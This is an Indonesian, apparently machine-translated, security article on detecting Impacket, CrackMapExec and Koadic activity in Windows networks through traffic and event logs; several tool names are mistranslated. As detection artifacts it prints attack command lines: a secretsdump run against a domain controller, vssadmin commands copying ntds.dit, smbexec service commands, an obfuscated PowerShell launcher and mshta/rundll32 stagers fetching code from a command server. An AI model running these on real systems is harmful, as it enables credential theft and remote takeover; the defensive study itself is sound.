Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas

Jumlah serangan di sektor korporasi meningkat setiap tahun: misalnya pada tahun 2017, tercatat 13% lebih banyak insiden unik dibandingkan tahun 2016, dan pada akhir tahun 2018 - 27% lebih banyak insidendibandingkan periode sebelumnya. Termasuk yang alat kerja utamanya adalah sistem operasi Windows. Pada tahun 2017-2018, APT Capung, APT28, APT Air Berlumpur melakukan serangan terhadap organisasi pemerintah dan militer di Eropa, Amerika Utara dan Arab Saudi. Dan kami menggunakan tiga alat untuk ini - paket, CrackMapExec и Koadik. Kode sumbernya terbuka dan tersedia di GitHub.

Perlu dicatat bahwa alat ini tidak digunakan untuk penetrasi awal, tetapi untuk mengembangkan serangan di dalam infrastruktur. Penyerang menggunakannya pada berbagai tahap serangan setelah penetrasi perimeter. Namun, hal ini sulit dideteksi dan seringkali hanya dengan bantuan teknologi mengidentifikasi jejak kompromi dalam lalu lintas jaringan atau alat yang memungkinkan mendeteksi tindakan aktif penyerang setelah dia menembus infrastruktur. Alat tersebut menyediakan berbagai fungsi, mulai dari mentransfer file hingga berinteraksi dengan registri dan menjalankan perintah pada mesin jarak jauh. Kami melakukan studi terhadap alat ini untuk menentukan aktivitas jaringannya.

Apa yang perlu kami lakukan:

  • Pahami cara kerja alat peretasan. Cari tahu apa yang perlu dieksploitasi oleh penyerang dan teknologi apa yang dapat mereka gunakan.
  • Temukan apa yang tidak terdeteksi oleh alat keamanan informasi pada tahap pertama serangan. Fase pengintaian dapat dilewati, baik karena penyerang adalah penyerang internal, atau karena penyerang mengeksploitasi lubang pada infrastruktur yang sebelumnya tidak diketahui. Menjadi mungkin untuk memulihkan seluruh rangkaian tindakannya, oleh karena itu muncul keinginan untuk mendeteksi pergerakan lebih lanjut.
  • Hilangkan kesalahan positif dari alat deteksi intrusi. Kita tidak boleh lupa bahwa ketika tindakan tertentu terdeteksi berdasarkan pengintaian saja, sering terjadi kesalahan. Biasanya dalam infrastruktur terdapat cukup banyak cara, yang sekilas tidak dapat dibedakan dari cara yang sah, untuk memperoleh informasi apa pun.

Apa yang diberikan alat ini kepada penyerang? Jika ini adalah Ipacket, maka penyerang menerima perpustakaan modul yang besar yang dapat digunakan pada berbagai tahap serangan setelah menembus perimeter. Banyak alat yang menggunakan modul Ipacket secara internal - misalnya, Metasploit. Ia memiliki dcomexec dan wmiexec untuk eksekusi perintah jarak jauh, secretdump untuk mendapatkan akun dari memori yang ditambahkan dari Ipacket. Akibatnya, deteksi yang benar terhadap aktivitas perpustakaan tersebut akan memastikan deteksi turunannya.

Bukan kebetulan bahwa pembuatnya menulis “Powered by Ipacket” tentang CrackMapExec (atau hanya CME). Selain itu, CME memiliki fungsionalitas siap pakai untuk skenario populer: Mimikatz untuk mendapatkan kata sandi atau hashnya, implementasi agen Meterpreter atau Empire untuk eksekusi jarak jauh, dan Bloodhound on board.

Alat ketiga yang kami pilih adalah Koadic. Baru-baru ini, dipresentasikan pada konferensi peretas internasional DEFCON 25 pada tahun 2017 dan dibedakan oleh pendekatan non-standar: ia bekerja melalui HTTP, Java Script, dan Microsoft Visual Basic Script (VBS). Pendekatan ini disebut hidup di luar daratan: alat ini menggunakan serangkaian dependensi dan perpustakaan yang dibangun di dalam Windows. Pembuatnya menyebutnya COM Command & Control, atau C3.

DAMPAK

Fungsionalitas Ipacket sangat luas, mulai dari pengintaian di dalam AD dan pengumpulan data dari server internal MS SQL, hingga teknik untuk mendapatkan kredensial: ini adalah serangan relai SMB, dan memperoleh file ntds.dit yang berisi hash kata sandi pengguna dari pengontrol domain. Ipacket juga menjalankan perintah dari jarak jauh menggunakan empat metode berbeda: WMI, Layanan Manajemen Penjadwal Windows, DCOM, dan SMB, dan memerlukan kredensial untuk melakukannya.

Rahasiadump

Mari kita lihat secretdump. Ini adalah modul yang dapat menargetkan mesin pengguna dan pengontrol domain. Hal ini dapat digunakan untuk mendapatkan salinan area memori LSA, SAM, SECURITY, NTDS.dit, sehingga dapat dilihat pada berbagai tahap serangan. Langkah pertama dalam pengoperasian modul adalah otentikasi melalui SMB, yang memerlukan kata sandi pengguna atau hashnya untuk secara otomatis melakukan serangan Pass the Hash. Berikutnya adalah permintaan untuk membuka akses ke Service Control Manager (SCM) dan mendapatkan akses ke registri melalui protokol winreg, yang dengannya penyerang dapat mengetahui data cabang yang diminati dan memperoleh hasil melalui SMB.

Pada Gambar. 1 kita melihat bagaimana tepatnya ketika menggunakan protokol winreg, akses diperoleh menggunakan kunci registri dengan LSA. Untuk melakukan ini, gunakan perintah DCERPC dengan opcode 15 - OpenKey.

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Beras. 1. Membuka kunci registri menggunakan protokol winreg

Selanjutnya, ketika akses ke kunci diperoleh, nilainya disimpan dengan perintah SaveKey dengan opcode 20. Ipacket melakukan ini dengan cara yang sangat spesifik. Ini menyimpan nilai ke file yang namanya berupa string 8 karakter acak yang ditambahkan dengan .tmp. Selain itu, pengunggahan lebih lanjut dari file ini terjadi melalui SMB dari direktori System32 (Gbr. 2).

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Beras. 2. Skema untuk mendapatkan kunci registri dari mesin jarak jauh

Ternyata aktivitas tersebut di jaringan dapat dideteksi dengan permintaan ke cabang registri tertentu menggunakan protokol winreg, nama tertentu, perintah dan urutannya.

Modul ini juga meninggalkan jejak di log peristiwa Windows, sehingga mudah dideteksi. Misalnya akibat menjalankan perintah

secretsdump.py -debug -system SYSTEM -sam SAM -ntds NTDS -security SECURITY -bootkey BOOTKEY -outputfile 1.txt -use-vss -exec-method mmcexec -user-status -dc-ip 192.168.202.100 -target-ip 192.168.202.100 contoso/Administrator:@DC

Di log Windows Server 2016 kita akan melihat urutan peristiwa penting berikut:

1. 4624 - Masuk jarak jauh.
2. 5145 - memeriksa hak akses ke layanan jarak jauh winreg.
3. 5145 - memeriksa hak akses file di direktori System32. File tersebut memiliki nama acak yang disebutkan di atas.
4. 4688 - membuat proses cmd.exe yang meluncurkan vssadmin:

“C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin list shadows ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - membuat proses dengan perintah:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin create shadow /For=C: ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

6. 4688 - membuat proses dengan perintah:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C copy ?GLOBALROOTDeviceHarddiskVolumeShadowCopy3WindowsNTDSntds.dit %SYSTEMROOT%TemprmumAfcn.tmp ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

7. 4688 - membuat proses dengan perintah:

"C:windowssystem32cmd.exe" /Q /c echo c:windowssystem32cmd.exe /C vssadmin delete shadows /For=C: /Quiet ^> %SYSTEMROOT%Temp__output > %TEMP%execute.bat & c:windowssystem32cmd.exe /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

Smbexec

Seperti banyak alat pasca-eksploitasi, Ipacket memiliki modul untuk menjalankan perintah dari jarak jauh. Kami akan fokus pada smbexec, yang menyediakan shell perintah interaktif pada mesin jarak jauh. Modul ini juga memerlukan otentikasi melalui SMB, baik dengan kata sandi atau hash kata sandi. Pada Gambar. Pada Gambar 3 kita melihat contoh cara kerja alat tersebut, dalam hal ini adalah konsol administrator lokal.

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Beras. 3. Konsol smbexec interaktif

Langkah pertama smbexec setelah otentikasi adalah membuka SCM dengan perintah OpenSCManagerW (15). Kuerinya penting: bidang MachineName adalah DUMMY.

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Beras. 4. Permintaan untuk membuka Manajer Kontrol Layanan

Selanjutnya, layanan dibuat menggunakan perintah CreateServiceW (12). Dalam kasus smbexec, kita dapat melihat logika konstruksi perintah yang sama setiap saat. Pada Gambar. 5 hijau menunjukkan parameter perintah yang tidak dapat diubah, kuning menunjukkan apa yang dapat diubah oleh penyerang. Sangat mudah untuk melihat bahwa nama file yang dapat dieksekusi, direktorinya dan file output dapat diubah, tetapi sisanya jauh lebih sulit untuk diubah tanpa mengganggu logika modul Ipacket.

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Beras. 5. Permintaan untuk membuat layanan menggunakan Service Control Manager

Smbexec juga meninggalkan jejak yang jelas di log peristiwa Windows. Di log Windows Server 2016 untuk shell perintah interaktif dengan perintah ipconfig, kita akan melihat urutan kejadian penting berikut:

1. 4697 — instalasi layanan pada mesin korban:

%COMSPEC% /Q /c echo cd ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

2. 4688 - pembuatan proses cmd.exe dengan argumen dari poin 1.
3. 5145 - memeriksa hak akses ke file __output di direktori C$.
4. 4697 — instalasi layanan pada mesin korban.

%COMSPEC% /Q /c echo ipconfig ^> 127.0.0.1C$__output 2^>^&1 > %TEMP%execute.bat & %COMSPEC% /Q /c %TEMP%execute.bat & del %TEMP%execute.bat

5. 4688 - pembuatan proses cmd.exe dengan argumen dari poin 4.
6. 5145 - memeriksa hak akses ke file __output di direktori C$.

Impacket adalah dasar untuk pengembangan alat serangan. Ini mendukung hampir semua protokol di infrastruktur Windows dan pada saat yang sama memiliki fitur khasnya sendiri. Berikut adalah permintaan winreg spesifik, dan penggunaan SCM API dengan formasi perintah yang khas, dan format nama file, dan share SMB SYSTEM32.

CRACKMAPEXEC

Alat CME dirancang terutama untuk mengotomatiskan tindakan rutin yang harus dilakukan penyerang untuk maju dalam jaringan. Ini memungkinkan Anda untuk bekerja sama dengan agen Empire dan Meterpreter yang terkenal. Untuk menjalankan perintah secara diam-diam, CME dapat mengaburkan perintah tersebut. Menggunakan Bloodhound (alat pengintaian terpisah), penyerang dapat mengotomatiskan pencarian sesi administrator domain yang aktif.

anjing polisi

Bloodhound, sebagai alat mandiri, memungkinkan pengintaian tingkat lanjut dalam jaringan. Ini mengumpulkan data tentang pengguna, mesin, grup, sesi dan disediakan sebagai skrip PowerShell atau file biner. Protokol berbasis LDAP atau SMB digunakan untuk mengumpulkan informasi. Modul integrasi CME memungkinkan Bloodhound diunduh ke mesin korban, menjalankan dan menerima data yang dikumpulkan setelah eksekusi, sehingga mengotomatiskan tindakan dalam sistem dan membuatnya kurang terlihat. Cangkang grafis Bloodhound menyajikan data yang dikumpulkan dalam bentuk grafik, yang memungkinkan Anda menemukan jalur terpendek dari mesin penyerang ke administrator domain.

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Beras. 6. Antarmuka Anjing Pelacak

Untuk dijalankan di mesin korban, modul membuat tugas menggunakan ATSVC dan SMB. ATSVC adalah antarmuka untuk bekerja dengan Penjadwal Tugas Windows. CME menggunakan fungsi NetrJobAdd(1) untuk membuat tugas melalui jaringan. Contoh dari apa yang dikirimkan modul CME ditunjukkan pada Gambar. 7: Ini adalah panggilan perintah cmd.exe dan kode yang dikaburkan dalam bentuk argumen dalam format XML.

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Gambar.7. Membuat tugas melalui CME

Setelah tugas diserahkan untuk dieksekusi, mesin korban akan memulai Bloodhound sendiri, dan ini dapat dilihat di lalu lintas. Modul ini dicirikan oleh kueri LDAP untuk mendapatkan grup standar, daftar semua mesin dan pengguna di domain, dan memperoleh informasi tentang sesi pengguna aktif melalui permintaan SRVSVC NetSessEnum.

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Beras. 8. Mendapatkan daftar sesi aktif melalui SMB

Selain itu, peluncuran Bloodhound pada mesin korban dengan audit diaktifkan disertai dengan peristiwa dengan ID 4688 (pembuatan proses) dan nama proses «C:WindowsSystem32cmd.exe». Yang penting adalah argumen baris perintah:

cmd.exe /Q /c powershell.exe -exec bypass -noni -nop -w 1 -C " & ( $eNV:cOmSPEc[4,26,25]-JOiN'')( [chAR[]](91 , 78, 101,116 , 46, 83 , 101 , … , 40,41 )-jOIN'' ) "

Enum_avproducts

Modul enum_avproducts sangat menarik dari segi fungsionalitas dan implementasi. WMI memungkinkan Anda menggunakan bahasa kueri WQL untuk mengambil data dari berbagai objek Windows, yang pada dasarnya adalah apa yang digunakan modul CME ini. Ini menghasilkan pertanyaan ke kelas AntiSpywareProduct dan AntiМirusProduct tentang alat perlindungan yang diinstal pada mesin korban. Untuk mendapatkan data yang diperlukan, modul terhubung ke namespace rootSecurityCenter2, kemudian menghasilkan kueri WQL dan menerima respons. Pada Gambar. Gambar 9 menunjukkan isi permintaan dan tanggapan tersebut. Dalam contoh kami, Windows Defender ditemukan.

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Beras. 9. Aktivitas jaringan modul enum_avproducts

Seringkali, audit WMI (Lacak Aktivitas WMI), yang di dalamnya Anda dapat menemukan informasi berguna tentang kueri WQL, mungkin dinonaktifkan. Namun jika diaktifkan, maka jika skrip enum_avproducts dijalankan maka event dengan ID 11 akan disimpan, berisi nama pengguna yang mengirimkan permintaan dan nama di namespace rootSecurityCenter2.

Masing-masing modul CME memiliki artefaknya sendiri, baik itu kueri WQL spesifik atau pembuatan jenis tugas tertentu di penjadwal tugas dengan kebingungan dan aktivitas khusus Bloodhound di LDAP dan SMB.

KOADIK

Ciri khas Koadic adalah penggunaan penerjemah JavaScript dan VBScript yang ada di dalam Windows. Dalam hal ini, ia mengikuti tren hidup di luar lahan - yaitu, ia tidak memiliki ketergantungan eksternal dan menggunakan alat standar Windows. Ini adalah alat untuk Command & Control (CnC) penuh, karena setelah infeksi, “implan” dipasang pada mesin, sehingga dapat dikontrol. Mesin seperti itu, dalam terminologi Koadik, disebut “zombie”. Jika hak istimewa yang ada tidak mencukupi untuk operasi penuh di pihak korban, Koadic memiliki kemampuan untuk meningkatkannya menggunakan teknik bypass Kontrol Akun Pengguna (bypass UAC).

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Beras. 10. Cangkang Koadik

Korban harus memulai komunikasi dengan server Command & Control. Untuk melakukan ini, dia perlu menghubungi URI yang telah disiapkan sebelumnya dan menerima badan Koadik utama menggunakan salah satu stager. Pada Gambar. Gambar 11 menunjukkan contoh stager mshta.

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Beras. 11. Menginisialisasi sesi dengan server CnC

Berdasarkan variabel respon WS, menjadi jelas bahwa eksekusi terjadi melalui WScript.Shell, dan variabel STAGER, SESSIONKEY, JOBKEY, JOBKEYPATH, EXPIRE berisi informasi penting tentang parameter sesi saat ini. Ini adalah pasangan permintaan-respons pertama dalam koneksi HTTP dengan server CnC. Permintaan selanjutnya berhubungan langsung dengan fungsionalitas modul yang disebut (implan). Semua modul Koadic hanya berfungsi dengan sesi aktif dengan CnC.

Mimikatz

Sama seperti CME yang bekerja dengan Bloodhound, Koadic bekerja dengan Mimikatz sebagai program terpisah dan memiliki banyak cara untuk meluncurkannya. Di bawah ini adalah pasangan permintaan-respons untuk mengunduh implan Mimikatz.

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Beras. 12. Transfer Mimikatz ke Koadic

Anda dapat melihat perubahan format URI dalam permintaan. Sekarang berisi nilai untuk variabel csrf, yang bertanggung jawab atas modul yang dipilih. Jangan memperhatikan namanya; Kita semua tahu bahwa CSRF biasanya dipahami secara berbeda. Responsnya adalah bagian utama Koadic yang sama, yang ditambahkan kode terkait Mimikatz. Ini cukup besar, jadi mari kita lihat poin-poin utamanya. Di sini kita memiliki perpustakaan Mimikatz yang dikodekan dalam base64, kelas .NET berseri yang akan menyuntikkannya, dan argumen untuk meluncurkan Mimikatz. Hasil eksekusi dikirimkan melalui jaringan dalam bentuk teks yang jelas.

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Beras. 13. Hasil menjalankan Mimikatz pada mesin jarak jauh

Exec_cmd

Koadic juga memiliki modul yang dapat menjalankan perintah dari jarak jauh. Di sini kita akan melihat metode pembuatan URI yang sama serta variabel sid dan csrf yang sudah dikenal. Dalam kasus modul exec_cmd, kode ditambahkan ke badan yang mampu menjalankan perintah shell. Di bawah ini ditampilkan kode yang terdapat dalam respons HTTP server CnC.

Cara mendeteksi serangan pada infrastruktur Windows: mempelajari alat peretas
Beras. 14. Kode implan exec_cmd

Variabel GAWTUUGCFI dengan atribut WS yang familiar diperlukan untuk eksekusi kode. Dengan bantuannya, implan memanggil shell, memproses dua cabang kode - shell.exec dengan kembalinya aliran data keluaran dan shell.run tanpa kembali.

Koadic bukanlah alat biasa, namun memiliki artefaknya sendiri yang dapat ditemukan di lalu lintas yang sah:

  • formasi khusus permintaan HTTP,
  • menggunakan API winHttpRequests,
  • membuat objek WScript.Shell melalui ActiveXObject,
  • badan besar yang dapat dieksekusi.

Koneksi awal dimulai oleh stager, sehingga aktivitasnya dapat dideteksi melalui peristiwa Windows. Untuk mshta, ini adalah event 4688, yang menunjukkan pembuatan proses dengan atribut start:

C:Windowssystem32mshta.exe http://192.168.211.1:9999/dXpT6

Saat Koadic berjalan, Anda dapat melihat 4688 acara lainnya dengan atribut yang menjadi ciri khasnya:

rundll32.exe http://192.168.241.1:9999/dXpT6?sid=1dbef04007a64fba83edb3f3928c9c6c; csrf=;......mshtml,RunHTMLApplication
rundll32.exe http://192.168.202.136:9999/dXpT6?sid=12e0bbf6e9e5405690e5ede8ed651100;csrf=18f93a28e0874f0d8d475d154bed1983;......mshtml,RunHTMLApplication
"C:Windowssystem32cmd.exe" /q /c chcp 437 & net session 1> C:Usersuser02AppDataLocalTemp6dc91b53-ddef-2357-4457-04a3c333db06.txt 2>&1
"C:Windowssystem32cmd.exe" /q /c chcp 437 & ipconfig 1> C:Usersuser02AppDataLocalTemp721d2d0a-890f-9549-96bd-875a495689b7.txt 2>&1

Temuan

Tren hidup di luar lahan semakin populer di kalangan penjahat. Mereka menggunakan alat dan mekanisme yang ada di dalam Windows untuk kebutuhan mereka. Kami melihat alat populer Koadic, CrackMapExec dan Ipacket yang mengikuti prinsip ini semakin banyak muncul dalam laporan APT. Jumlah fork di GitHub untuk alat-alat ini juga bertambah, dan yang baru bermunculan (sekarang sudah ada sekitar seribu). Tren ini mendapatkan popularitas karena kesederhanaannya: penyerang tidak memerlukan alat pihak ketiga; mereka sudah berada di mesin korban dan membantu mereka melewati langkah-langkah keamanan. Kami fokus mempelajari komunikasi jaringan: setiap alat yang dijelaskan di atas meninggalkan jejaknya sendiri dalam lalu lintas jaringan; studi terperinci tentang mereka memungkinkan kami untuk mengajarkan produk kami Penemuan Serangan Jaringan PT mendeteksi mereka, yang pada akhirnya membantu menyelidiki seluruh rantai insiden dunia maya yang melibatkan mereka.

Penulis:

  • Anton Tyurin, Kepala Departemen Layanan Ahli, PT Expert Security Center, Teknologi Positif
  • Egor Podmokov, pakar, PT Expert Security Center, Teknologi Positif

Sumber: www.habr.com

Tambah komentar